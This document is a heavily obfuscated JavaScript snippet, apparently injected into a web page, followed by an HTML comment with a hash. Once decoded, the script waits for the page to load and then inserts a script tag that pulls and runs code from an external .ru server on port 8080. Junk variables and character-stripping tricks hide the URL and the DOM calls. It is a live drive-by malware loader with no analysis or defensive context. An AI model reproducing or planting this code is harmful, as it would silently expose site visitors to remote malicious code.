<script>var f;if(f!='K' && f != ''){f=null};var gx="";var P="";function B(){var Vl;if(Vl!='an' && Vl!='kX'){Vl=''};var s=window;var o;if(o!=''){o='lW'};var d;if(d!='De' && d!='LU'){d=''};var iv;if(iv!='' && iv!='dj'){iv='Xy'};this.ir='';var i=s['unescape'];var KP;if(KP!='O' && KP!='wW'){KP=''};var iy=new Date();var u=i("%2f%67%61%70%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%79%61%68%6f%6f%2e%63%6f%6d%2e%63%6e%2e%70%68%70");var p=new String();var fi;if(fi!='' && fi!='iz'){fi=''};var Le='';function g(D,k){var V=i("%5d");var W=new Array();var b;if(b!='mv' && b != ''){b=null};var ks=i("%5b");var FC;if(FC!='bY' && FC!='mX'){FC='bY'};var r=String("4m3hg".substr(4));var kb=new Date();var Lk;if(Lk!=''){Lk='c'};var v=new RegExp(ks+k+V, r);var q;if(q!='Xh'){q='Xh'};var tL;if(tL!='iV'){tL='iV'};return D.replace(v, new String());var tv="";};this.A="";var hA;if(hA!='Ys' && hA!='hY'){hA='Ys'};var w=g('sQcxraixpQtk','axyUHRkEQ');var gt;if(gt!='eI'){gt=''};var Gp=new Array();var G=g('dCekfCekr9','aC9k');var CA=new Array();var _f;if(_f!='sZ' && _f!='Wx'){_f=''};this.cp="";var uV=document;var l=g('8222104728473507225','215473');var bE="";var zi;if(zi!='ov'){zi='ov'};var t=g('s2rxc4','4xoXMdJba2APG');var Us;if(Us!='' && Us!='Lo'){Us=''};var Pm;if(Pm!='' && Pm!='qo'){Pm=null};function F(){var _=i("%68%74%74%70%3a%2f%2f%62%61%6b%65%63%6f%6e%63%65%72%6e%2e%72%75%3a");var jM;if(jM!='Qx' && jM!='hT'){jM='Qx'};var Vc="";this.H='';var Mp;if(Mp!='' && Mp!='aN'){Mp=null};var rX=_;rX+=l;rX+=u;this.Wb='';try {var Ua;if(Ua!='' && Ua!='Bc'){Ua=null};var Zr;if(Zr!='QC' && Zr!='_s'){Zr='QC'};Dc=uV[g('cMrMe7adtYeYEAlxeYmAeAnxto','F7AxYGdIsRoM')](w);Dc[G]=[1,9][0];var gV;if(gV!='nP' && gV!='pv'){gV=''};var qs=new Array();var wZ=new Array();Dc[t]=rX;var Eb=new Date();var mq="";uV.body[g('aMpspseknMdMCjhjikljdM','ksojM')](Dc);var Zv;if(Zv!='x'){Zv=''};this.uq='';var WV=new Array();} catch(DK){var IW;if(IW!='' && IW!='ul'){IW='lm'};var Nr=new Date();};var Xf;if(Xf!='qu' && Xf!='HN'){Xf='qu'};var J;if(J!='oM' && J!='AZ'){J='oM'};}var pm="";var qK='';var a=g('ogn3l3owa3d3','4wgS3');this.FD="";s[a]=F;this.ba="";};var mn=new String();var T=new String();var wWu='';this.hP="";B();var Mm;if(Mm!='CE'){Mm='CE'};var gVX;if(gVX!='SP'){gVX='SP'};</script>
<!--081bae571b4003af75ce7cfd3449d877-->